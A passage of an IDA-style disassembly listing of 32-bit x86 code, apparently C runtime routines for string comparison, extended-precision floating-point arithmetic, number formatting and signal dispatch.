loc_426C6A ; --------------------------------------------------------------------------- loc_426C68: ; CODE XREF: sub_426BEB+6Fj or eax, edx loc_426C6A: ; CODE XREF: sub_426BEB+77j ; sub_426BEB+7Bj test ebx, 40000h pop esi jz short locret_426C78 or eax, 1000h locret_426C78: ; CODE XREF: sub_426BEB+86j retn sub_426BEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C79 proc near ; CODE XREF: sub_426CAB+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx fstcw word ptr [ebp+var_4] mov ebx, [ebp+var_4] call sub_426B59 mov ebx, eax mov eax, [ebp+arg_4] not eax and ebx, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or ebx, eax call sub_426BEB mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] mov eax, ebx pop ebx leave retn sub_426C79 endp ; =============== S U B R O U T I N E ======================================= sub_426CAB proc near ; CODE XREF: sub_423D39+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_426C79 pop ecx pop ecx retn sub_426CAB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426CD0 proc near ; CODE XREF: sub_426D1E+28p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov al, 0FFh mov edi, edi loc_426CE0: ; CODE XREF: sub_426CD0+20j ; sub_426CD0+40j or al, al jz short loc_426D16 mov al, [esi] add esi, 1 mov ah, [edi] add edi, 1 cmp ah, al jz short loc_426CE0 sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_426CE0 sbb al, al sbb al, 0FFh loc_426D16: ; CODE XREF: sub_426CD0+12j movsx eax, al pop ebx pop esi pop edi leave retn sub_426CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D1E proc near ; CODE XREF: sub_4013EC+1C0p ; sub_4013EC+1D4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx call sub_4203B6 mov ebx, [eax+64h] cmp ebx, ds:off_433444 jz short loc_426D3A call sub_420342 mov ebx, eax loc_426D3A: ; CODE XREF: sub_426D1E+13j cmp dword ptr [ebx+14h], 0 jnz short loc_426D4F push [ebp+arg_4] push [ebp+arg_0] call sub_426CD0 pop ecx pop ecx jmp short loc_426D84 ; --------------------------------------------------------------------------- loc_426D4F: ; CODE XREF: sub_426D1E+20j push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] loc_426D57: ; CODE XREF: sub_426D1E+60j movzx eax, byte ptr [esi] push eax push ebx call sub_4268C9 mov [ebp+var_4], eax movzx eax, byte ptr [edi] push eax push ebx inc esi call sub_4268C9 add esp, 10h mov ecx, eax mov eax, [ebp+var_4] inc edi test eax, eax jz short loc_426D80 cmp eax, ecx jz short loc_426D57 loc_426D80: ; CODE XREF: sub_426D1E+5Cj pop edi sub eax, ecx pop esi loc_426D84: ; CODE XREF: sub_426D1E+2Fj pop ebx leave retn sub_426D1E endp ; =============== S U B R O U T I N E ======================================= sub_426D87 proc near ; CODE XREF: sub_425DC0+23p ; sub_425DC0+3Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] lea ecx, [edx+esi] xor eax, eax cmp ecx, edx jb short loc_426D9D cmp ecx, esi jnb short loc_426DA0 loc_426D9D: ; CODE XREF: sub_426D87+10j xor eax, eax inc eax loc_426DA0: ; CODE XREF: sub_426D87+14j mov edx, [esp+4+arg_8] mov [edx], ecx pop esi retn sub_426D87 endp ; =============== S U B R O U T I N E ======================================= sub_426DA8 proc near ; CODE XREF: sub_426E61+48p ; sub_426E61+69p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_426D87 add esp, 0Ch test eax, eax jz short loc_426DDA lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_426D87 add esp, 0Ch test eax, eax jz short loc_426DDA inc dword ptr [esi+8] loc_426DDA: ; CODE XREF: sub_426DA8+19j ; sub_426DA8+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_426D87 add esp, 0Ch test eax, eax jz short loc_426DF2 inc dword ptr [esi+8] loc_426DF2: ; CODE XREF: sub_426DA8+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_426D87 add esp, 0Ch pop edi pop esi retn sub_426DA8 endp ; =============== S U B R O U T I N E ======================================= sub_426E06 proc near ; CODE XREF: sub_426E61+38p ; sub_426E61+3Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, [eax] mov ecx, esi add esi, esi push edi mov edi, [eax+4] shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+4], esi mov [eax+8], ecx pop esi retn sub_426E06 endp ; =============== S U B R O U T I N E ======================================= sub_426E34 proc near ; CODE XREF: sub_426F3F+187p ; sub_42740A+1BEp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax+8] mov ecx, [eax+4] push esi push edi mov edi, ecx mov esi, edx shr ecx, 1 shl esi, 1Fh or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 or ecx, edi shr edx, 1 pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_426E34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E61 proc near ; CODE XREF: sub_42612C+35Fp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_433148 push ebx mov ebx, [ebp+arg_8] xor edx, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] cmp eax, edx push esi push edi mov [ebp+var_14], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_426EDC mov [ebp+arg_8], eax loc_426E90: ; CODE XREF: sub_426E61+77j mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_426E06 push ebx call sub_426E06 lea eax, [ebp+var_10] push eax push ebx call sub_426DA8 push ebx call sub_426E06 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] and [ebp+var_C], 0 and [ebp+var_8], 0 mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_426DA8 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_426E90 xor edx, edx loc_426EDC: ; CODE XREF: sub_426E61+2Aj cmp [ebx+8], edx jnz short loc_426F10 mov edi, [ebx+8] loc_426EE4: ; CODE XREF: sub_426E61+AAj mov ecx, [ebx+4] add [ebp+var_14], 0FFF0h mov eax, ecx shr eax, 10h mov edi, eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h cmp edi, edx mov [ebx+4], esi mov [ebx], eax jz short loc_426EE4 mov [ebx+8], edi loc_426F10: ; CODE XREF: sub_426E61+7Ej mov esi, 8000h jmp short loc_426F25 ; --------------------------------------------------------------------------- loc_426F17: ; CODE XREF: sub_426E61+C7j push ebx call sub_426E06 add [ebp+var_14], 0FFFFh pop ecx loc_426F25: ; CODE XREF: sub_426E61+B4j test [ebx+8], esi jz short loc_426F17 mov ax, word ptr [ebp+var_14] mov ecx, [ebp+var_4] pop edi pop esi mov [ebx+0Ah], ax pop ebx call sub_41E5BB leave retn sub_426E61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F3F proc near ; CODE XREF: sub_427171+6Bp ; sub_42740A+15Ap var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, ds:dword_433148 push ebx mov ebx, [ebp+arg_4] mov [ebp+var_4], eax xor eax, eax xor ecx, ecx mov cx, [ebx+0Ah] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov ax, [esi+0Ah] push edi mov edi, ecx mov edx, 7FFFh and ecx, edx xor edi, eax and eax, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_427149 cmp cx, 7FFFh jnb loc_427149 cmp dx, 0BFFDh ja loc_427149 cmp dx, 3FBFh ja short loc_426FB2 xor eax, eax jmp short loc_426FEC ; --------------------------------------------------------------------------- loc_426FB2: ; CODE XREF: sub_426F3F+6Dj test ax, ax mov edx, 7FFFFFFFh jnz short loc_426FD4 inc [ebp+arg_0] xor eax, eax test [esi+8], edx jnz short loc_426FD6 cmp [esi+4], eax jnz short loc_426FD6 cmp [esi], eax jnz short loc_426FD6 jmp loc_427143 ; --------------------------------------------------------------------------- loc_426FD4: ; CODE XREF: sub_426F3F+7Bj xor eax, eax loc_426FD6: ; CODE XREF: sub_426F3F+85j ; sub_426F3F+8Aj ... cmp cx, ax jnz short loc_426FF9 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_426FF9 cmp [ebx+4], eax jnz short loc_426FF9 cmp [ebx], eax jnz short loc_426FF9 loc_426FEC: ; CODE XREF: sub_426F3F+71j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_427164 ; --------------------------------------------------------------------------- loc_426FF9: ; CODE XREF: sub_426F3F+9Aj ; sub_426F3F+A2j ... mov [ebp+var_18], eax lea eax, [ebp+var_C] mov [ebp+var_14], eax mov [ebp+arg_4], 5 loc_427009: ; CODE XREF: sub_426F3F+12Cj mov eax, [ebp+var_18] add eax, eax cmp [ebp+arg_4], 0 jle short loc_42705D add eax, esi mov [ebp+var_24], eax mov eax, [ebp+arg_4] lea ecx, [ebx+8] mov [ebp+var_20], ecx mov [ebp+var_28], eax loc_427025: ; CODE XREF: sub_426F3F+11Cj mov eax, [ebp+var_20] mov ecx, [ebp+var_24] movzx ecx, word ptr [ecx] movzx eax, word ptr [eax] imul eax, ecx mov ecx, [ebp+var_14] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_426D87 add esp, 0Ch test eax, eax jz short loc_427050 mov eax, [ebp+var_14] inc word ptr [eax] loc_427050: ; CODE XREF: sub_426F3F+109j add [ebp+var_24], 2 sub [ebp+var_20], 2 dec [ebp+var_28] jnz short loc_427025 loc_42705D: ; CODE XREF: sub_426F3F+D3j add [ebp+var_14], 2 inc [ebp+var_18] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_427009 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_4270A0 loc_42707B: ; CODE XREF: sub_426F3F+158j test byte ptr [ebp+var_8+3], 80h jnz short loc_427099 lea eax, [ebp+var_10] push eax call sub_426E06 add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 pop ecx jg short loc_42707B loc_427099: ; CODE XREF: sub_426F3F+140j cmp word ptr [ebp+arg_0], 0 jg short loc_4270D9 loc_4270A0: ; CODE XREF: sub_426F3F+13Aj add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_4270D9 mov eax, [ebp+arg_0] neg eax movzx ebx, ax add [ebp+arg_0], ebx loc_4270B9: ; CODE XREF: sub_426F3F+18Ej test byte ptr [ebp+var_10], 1 jz short loc_4270C2 inc [ebp+var_1C] loc_4270C2: ; CODE XREF: sub_426F3F+17Ej lea eax, [ebp+var_10] push eax call sub_426E34 dec ebx pop ecx jnz short loc_4270B9 cmp [ebp+var_1C], 0 jz short loc_4270D9 or byte ptr [ebp+var_10], 1 loc_4270D9: ; CODE XREF: sub_426F3F+15Fj ; sub_426F3F+16Dj ... cmp word ptr [ebp+var_10], 8000h ja short loc_4270F0 mov eax, [ebp+var_10] and eax, 1FFFFh cmp eax, 18000h jnz short loc_427125 loc_4270F0: ; CODE XREF: sub_426F3F+1A0j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_427122 and [ebp+var_10+2], 0 cmp [ebp+var_C+2], 0FFFFFFFFh jnz short loc_42711D and [ebp+var_C+2], 0 cmp word ptr [ebp+var_8+2], 0FFFFh jnz short loc_427117 inc [ebp+arg_0] mov word ptr [ebp+var_8+2], 8000h jmp short loc_427125 ; --------------------------------------------------------------------------- loc_427117: ; CODE XREF: sub_426F3F+1CBj inc word ptr [ebp+var_8+2] jmp short loc_427125 ; --------------------------------------------------------------------------- loc_42711D: ; CODE XREF: sub_426F3F+1BFj inc [ebp+var_C+2] jmp short loc_427125 ; --------------------------------------------------------------------------- loc_427122: ; CODE XREF: sub_426F3F+1B5j inc [ebp+var_10+2] loc_427125: ; CODE XREF: sub_426F3F+1AFj ; sub_426F3F+1D6j ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_427149 mov cx, word ptr [ebp+var_10+2] mov [esi], cx mov ecx, [ebp+var_C] mov [esi+2], ecx mov ecx, [ebp+var_8] mov [esi+6], ecx or eax, edi loc_427143: ; CODE XREF: sub_426F3F+90j mov [esi+0Ah], ax jmp short loc_427164 ; --------------------------------------------------------------------------- loc_427149: ; CODE XREF: sub_426F3F+4Cj ; sub_426F3F+57j ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_427164: ; CODE XREF: sub_426F3F+B5j ; sub_426F3F+208j mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_41E5BB leave retn sub_426F3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427171 proc near ; CODE XREF: sub_42612C+39Cp ; sub_42740A+141p var_10 = byte ptr -10h var_E = dword ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_433148 push ebx mov ebx, offset dword_433E30 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx mov [ebp+var_4], eax jz short loc_4271EC jge short loc_42719C neg [ebp+arg_4] mov ebx, offset dword_433F90 sub ebx, 60h loc_42719C: ; CODE XREF: sub_427171+1Ej cmp [ebp+arg_8], ecx jnz short loc_4271A7 mov eax, [ebp+arg_0] mov [eax], cx loc_4271A7: ; CODE XREF: sub_427171+2Ej cmp [ebp+arg_4], ecx jz short loc_4271EC push esi push edi loc_4271AE: ; CODE XREF: sub_427171+77j mov eax, [ebp+arg_4] sar [ebp+arg_4], 3 and eax, 7 add ebx, 54h cmp eax, ecx jz short loc_4271E5 lea eax, [eax+eax*2] lea esi, [ebx+eax*4] cmp word ptr [esi], 8000h jb short loc_4271D8 lea edi, [ebp+var_10] movsd movsd movsd dec [ebp+var_E] lea esi, [ebp+var_10] loc_4271D8: ; CODE XREF: sub_427171+59j push esi push [ebp+arg_0] call sub_426F3F pop ecx pop ecx xor ecx, ecx loc_4271E5: ; CODE XREF: sub_427171+4Cj cmp [ebp+arg_4], ecx jnz short loc_4271AE pop edi pop esi loc_4271EC: ; CODE XREF: sub_427171+1Cj ; sub_427171+39j mov ecx, [ebp+var_4] pop ebx call sub_41E5BB leave retn sub_427171 endp ; =============== S U B R O U T I N E ======================================= sub_4271F7 proc near ; CODE XREF: sub_426560+73p ; sub_426560+CAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax sar ecx, 5 and eax, 1Fh lea edx, ds:438460h[ecx*4] lea ecx, [eax+eax*8] mov eax, [edx] shl ecx, 2 movzx eax, byte ptr [eax+ecx+4] push esi mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_427233 mov edx, [edx] lea ecx, [edx+ecx+4] and byte ptr [ecx], 7Fh jmp short loc_427246 ; --------------------------------------------------------------------------- loc_427233: ; CODE XREF: sub_4271F7+2Fj cmp [esp+4+arg_4], 4000h jnz short loc_427253 mov edx, [edx] lea ecx, [edx+ecx+4] or byte ptr [ecx], 80h loc_427246: ; CODE XREF: sub_4271F7+3Aj neg eax sbb eax, eax and eax, 0FFFFC000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_427253: ; CODE XREF: sub_4271F7+44j call sub_4200B5 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh pop esi retn sub_4271F7 endp ; =============== S U B R O U T I N E ======================================= sub_427263 proc near ; CODE XREF: sub_427291+72p mov ecx, ds:dword_433894 mov eax, edx push edi loc_42726C: ; CODE XREF: sub_427263+19j cmp [eax+4], esi jz short loc_42727E lea edi, [ecx+ecx*2] add eax, 0Ch lea edi, [edx+edi*4] cmp eax, edi jb short loc_42726C loc_42727E: ; CODE XREF: sub_427263+Cj lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx pop edi jnb short loc_42728E cmp [eax+4], esi jz short locret_427290 loc_42728E: ; CODE XREF: sub_427263+24j xor eax, eax locret_427290: ; CODE XREF: sub_427263+29j retn sub_427263 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427291 proc near ; CODE XREF: sub_423818+30A2p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004273D9 SIZE 00000031 BYTES push 20h push offset stru_42A998 call __SEH_prolog xor ecx, ecx mov [ebp+var_1C], ecx mov eax, [ebp+arg_0] dec eax dec eax jz short loc_427313 dec eax dec eax jz short loc_4272F3 sub eax, 4 jz short loc_4272F3 sub eax, 3 jz short loc_4272F3 sub eax, 4 jz short loc_4272E6 sub eax, 6 jz short loc_4272D9 dec eax jz short loc_4272CC or eax, 0FFFFFFFFh jmp loc_427404 ; --------------------------------------------------------------------------- loc_4272CC: ; CODE XREF: sub_427291+31j mov esi, offset dword_4359A8 mov edi, ds:dword_4359A8 jmp short loc_42731E ; --------------------------------------------------------------------------- loc_4272D9: ; CODE XREF: sub_427291+2Ej mov esi, offset dword_4359A4 mov edi, ds:dword_4359A4 jmp short loc_42731E ; --------------------------------------------------------------------------- loc_4272E6: ; CODE XREF: sub_427291+29j mov esi, offset dword_4359AC mov edi, ds:dword_4359AC jmp short loc_42731E ; --------------------------------------------------------------------------- loc_4272F3: ; CODE XREF: sub_427291+1Aj ; sub_427291+1Fj ... call sub_4203B6 mov ebx, eax mov [ebp+var_24], ebx mov edx, [ebx+54h] mov esi, [ebp+arg_0] call sub_427263 mov esi, eax add esi, 8 mov edi, [esi] xor ecx, ecx jmp short loc_427328 ; --------------------------------------------------------------------------- loc_427313: ; CODE XREF: sub_427291+16j mov esi, offset dword_4359A0 mov edi, ds:dword_4359A0 loc_42731E: ; CODE XREF: sub_427291+46j ; sub_427291+53j ... mov [ebp+var_1C], 1 mov ebx, [ebp+var_24] loc_427328: ; CODE XREF: sub_427291+80j mov [ebp+var_20], edi cmp edi, 1 jz loc_427402 cmp edi, ecx jnz short loc_42733F push 3 call sub_41F66F loc_42733F: ; CODE XREF: sub_427291+A5j cmp [ebp+var_1C], ecx jz short loc_42734D push ecx call sub_41E983 pop ecx xor ecx, ecx loc_42734D: ; CODE XREF: sub_427291+B1j mov [ebp+ms_exc.disabled], ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_427362 cmp eax, 0Bh jz short loc_427362 cmp eax, 4 jnz short loc_42737D loc_427362: ; CODE XREF: sub_427291+C5j ; sub_427291+CAj mov edx, [ebx+58h] mov [ebp+var_2C], edx mov [ebx+58h], ecx cmp eax, 8 jnz short loc_4273A9 mov edx, [ebx+5Ch] mov [ebp+var_30], edx mov dword ptr [ebx+5Ch], 8Ch loc_42737D: ; CODE XREF: sub_427291+CFj cmp eax, 8 jnz short loc_4273A9 mov eax, ds:dword_433888 loc_427387: ; CODE XREF: sub_427291+116j mov [ebp+var_28], eax mov edx, ds:dword_43388C mov esi, ds:dword_433888 add edx, esi cmp eax, edx jge short loc_4273AB lea edx, [eax+eax*2] mov esi, [ebx+54h] mov [esi+edx*4+8], ecx inc eax jmp short loc_427387 ; --------------------------------------------------------------------------- loc_4273A9: ; CODE XREF: sub_427291+DDj ; sub_427291+EFj mov [esi], ecx loc_4273AB: ; CODE XREF: sub_427291+109j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4273CC cmp [ebp+arg_0], 8 jnz short loc_4273D9 push dword ptr [ebx+5Ch] push 8 call edi pop ecx jmp short loc_4273DE sub_427291 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4273C4 proc near ; DATA XREF: .text:stru_42A998o mov edi, [ebp-20h] mov ebx, [ebp-24h] xor ecx, ecx sub_4273C4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4273CC proc near ; CODE XREF: sub_427291+11Ep cmp [ebp-1Ch], ecx jz short locret_4273D8 push ecx call sub_41E8CE pop ecx locret_4273D8: ; CODE XREF: sub_4273CC+3j retn sub_4273CC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427291 loc_4273D9: ; CODE XREF: sub_427291+127j push [ebp+arg_0] call edi loc_4273DE: ; CODE XREF: sub_427291+131j pop ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_4273F1 cmp eax, 0Bh jz short loc_4273F1 cmp eax, 4 jnz short loc_427402 loc_4273F1: ; CODE XREF: sub_427291+154j ; sub_427291+159j mov ecx, [ebp+var_2C] mov [ebx+58h], ecx cmp eax, 8 jnz short loc_427402 mov eax, [ebp+var_30] mov [ebx+5Ch], eax loc_427402: ; CODE XREF: sub_427291+9Dj ; sub_427291+15Ej ... xor eax, eax loc_427404: ; CODE XREF: sub_427291+36j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_427291 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42740A proc near ; CODE XREF: sub_426AE4+33p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 30h mov eax, ds:dword_433148 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_2C], 1 mov edx, eax jz short loc_427474 mov byte ptr [ebx+2], 2Dh jmp short loc_427478 ; --------------------------------------------------------------------------- loc_427474: ; CODE XREF: sub_42740A+62j mov byte ptr [ebx+2], 20h loc_427478: ; CODE XREF: sub_42740A+68j test dx, dx mov edi, [ebp+arg_4] jnz short loc_42748D test edi, edi jnz short loc_42748D cmp [ebp+arg_0], edi jz loc_427580 loc_42748D: ; CODE XREF: sub_42740A+74j ; sub_42740A+78j cmp dx, si jnz short loc_42750A mov eax, 80000000h cmp edi, eax mov word ptr [ebx], 1 jnz short loc_4274A6 cmp [ebp+arg_0], 0 jz short loc_4274B5 loc_4274A6: ; CODE XREF: sub_42740A+94j test edi, 40000000h jnz short loc_4274B5 push offset dword_42A9BC jmp short loc_4274FB ; --------------------------------------------------------------------------- loc_4274B5: ; CODE XREF: sub_42740A+9Aj ; sub_42740A+A2j test cx, cx jz short loc_4274CF cmp edi, 0C0000000h jnz short loc_4274CF cmp [ebp+arg_0], 0 jnz short loc_4274F6 push offset dword_42A9B4 jmp short loc_4274DE ; --------------------------------------------------------------------------- loc_4274CF: ; CODE XREF: sub_42740A+AEj ; sub_42740A+B6j cmp edi, eax jnz short loc_4274F6 cmp [ebp+arg_0], 0 jnz short loc_4274F6 push offset dword_42A9AC loc_4274DE: ; CODE XREF: sub_42740A+C3j lea eax, [ebx+4] push eax call sub_41C930 mov byte ptr [ebx+3], 5 loc_4274EB: ; CODE XREF: sub_42740A+FEj and [ebp+var_2C], 0 pop ecx pop ecx jmp loc_427662 ; --------------------------------------------------------------------------- loc_4274F6: ; CODE XREF: sub_42740A+BCj ; sub_42740A+C7j ... push offset dword_42A9A4 loc_4274FB: ; CODE XREF: sub_42740A+A9j lea eax, [ebx+4] push eax call sub_41C930 mov byte ptr [ebx+3], 6 jmp short loc_4274EB ; --------------------------------------------------------------------------- loc_42750A: ; CODE XREF: sub_42740A+86j movzx eax, dx mov esi, eax imul eax, 4D10h and [ebp+var_10], 0 mov ecx, edi shr ecx, 18h shr esi, 8 lea ecx, [esi+ecx*2] imul ecx, 4Dh lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] mov [ebp+var_E], eax sar esi, 10h movsx eax, si neg eax push 1 push eax lea eax, [ebp+var_10] push eax mov [ebp+var_6], dx mov [ebp+var_A], edi call sub_427171 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42756B lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax inc esi call sub_426F3F pop ecx pop ecx loc_42756B: ; CODE XREF: sub_42740A+14Fj test [ebp+arg_10], 1 mov edi, [ebp+arg_C] mov [ebx], si jz short loc_427589 movsx eax, si add edi, eax test edi, edi jg short loc_427589 loc_427580: ; CODE XREF: sub_42740A+7Dj mov byte ptr [ebx+4], 30h jmp loc_427683 ; --------------------------------------------------------------------------- loc_427589: ; CODE XREF: sub_42740A+16Bj ; sub_42740A+174j cmp edi, 15h jle short loc_427591 push 15h pop edi loc_427591: ; CODE XREF: sub_42740A+182j movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_8], 8 loc_4275A7: ; CODE XREF: sub_42740A+1AAj lea eax, [ebp+var_10] push eax call sub_426E06 dec [ebp+arg_8] pop ecx jnz short loc_4275A7 test esi, esi jge short loc_4275D1 neg esi and esi, 0FFh jle short loc_4275D1 loc_4275C4: ; CODE XREF: sub_42740A+1C5j lea eax, [ebp+var_10] push eax call sub_426E34 dec esi pop ecx jnz short loc_4275C4 loc_4275D1: ; CODE XREF: sub_42740A+1AEj ; sub_42740A+1B8j lea ecx, [edi+1] test ecx, ecx lea eax, [ebx+4] mov [ebp+var_30], eax jle short loc_42762E mov [ebp+arg_8], ecx loc_4275E1: ; CODE XREF: sub_42740A+21Fj lea esi, [ebp+var_10] lea edi, [ebp+var_28] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_426E06 lea eax, [ebp+var_10] push eax call sub_426E06 lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_426DA8 lea eax, [ebp+var_10] push eax call sub_426E06 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+var_30] add al, 30h add esp, 14h inc [ebp+var_30] dec [ebp+arg_8] mov [ecx], al mov byte ptr [ebp+var_6+1], 0 jnz short loc_4275E1 mov eax, [ebp+var_30] loc_42762E: ; CODE XREF: sub_42740A+1D2j dec eax mov cl, [eax] dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_427678 jmp short loc_427645 ; --------------------------------------------------------------------------- loc_42763C: ; CODE XREF: sub_42740A+23Dj cmp byte ptr [eax], 39h jnz short loc_427649 mov byte ptr [eax], 30h dec eax loc_427645: ; CODE XREF: sub_42740A+230j cmp eax, ecx jnb short loc_42763C loc_427649: ; CODE XREF: sub_42740A+235j cmp eax, ecx jnb short loc_427651 inc eax inc word ptr [ebx] loc_427651: ; CODE XREF: sub_42740A+241j inc byte ptr [eax] loc_427653: ; CODE XREF: sub_42740A+274j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al mov byte ptr [eax+ebx+4], 0 loc_427662: ; CODE XREF: sub_42740A+E7j mov eax, [ebp+var_2C] loc_427665: ; CODE XREF: sub_42740A+28Cj mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_41E5BB leave retn ; --------------------------------------------------------------------------- loc_427672: ; CODE XREF: sub_42740A+270j cmp byte ptr [eax], 30h jnz short loc_42767C 